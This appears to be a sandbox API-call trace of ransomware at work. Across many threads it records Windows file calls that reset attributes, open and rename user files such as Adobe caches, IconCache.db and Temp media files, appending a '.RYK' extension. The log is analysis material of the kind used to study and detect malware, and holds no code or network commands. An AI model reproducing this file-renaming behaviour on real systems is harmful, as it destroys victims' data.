	[0206.314] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 0
	[0206.314] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.314] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1847
	os_tid = 0x22d4

	[0206.315] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 0
	[0206.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.316] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1848
	os_tid = 0x22d8

	[0206.317] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 0
	[0206.317] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.318] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1849
	os_tid = 0x22dc

	[0206.319] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 0
	[0206.319] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.319] CloseHandle (hObject=0xffffffffffffffff) returned 0

Thread:
	id = 1850
	os_tid = 0x22e0

	[0206.503] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
	[0206.503] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.503] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.503] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1851
	os_tid = 0x22ec

	[0206.505] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0206.505] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.505] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.505] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1852
	os_tid = 0x22f0

	[0206.507] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv", dwFileAttributes=0x80) returned 0
	[0206.507] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.507] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.507] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1853
	os_tid = 0x22f4

	[0206.509] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a", dwFileAttributes=0x80) returned 0
	[0206.509] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.509] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.509] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1854
	os_tid = 0x22f8

	[0206.510] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv", dwFileAttributes=0x80) returned 0
	[0206.511] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.511] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.511] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1855
	os_tid = 0x22fc

	[0206.831] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi", dwFileAttributes=0x80) returned 0
	[0206.832] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.832] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.832] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1856
	os_tid = 0x230c

	[0206.837] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg", dwFileAttributes=0x80) returned 0
	[0206.837] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.837] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1857
	os_tid = 0x2310

	[0206.842] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3", dwFileAttributes=0x80) returned 0
	[0206.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.843] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.843] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1858
	os_tid = 0x2314

	[0206.847] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log", dwFileAttributes=0x80) returned 0
	[0206.847] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.848] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1859
	os_tid = 0x2318

	[0206.854] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv", dwFileAttributes=0x80) returned 0
	[0206.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.854] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1860
	os_tid = 0x231c

	[0206.860] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg", dwFileAttributes=0x80) returned 0
	[0206.860] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.860] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1861
	os_tid = 0x2320

	[0206.865] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4", dwFileAttributes=0x80) returned 0
	[0206.865] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
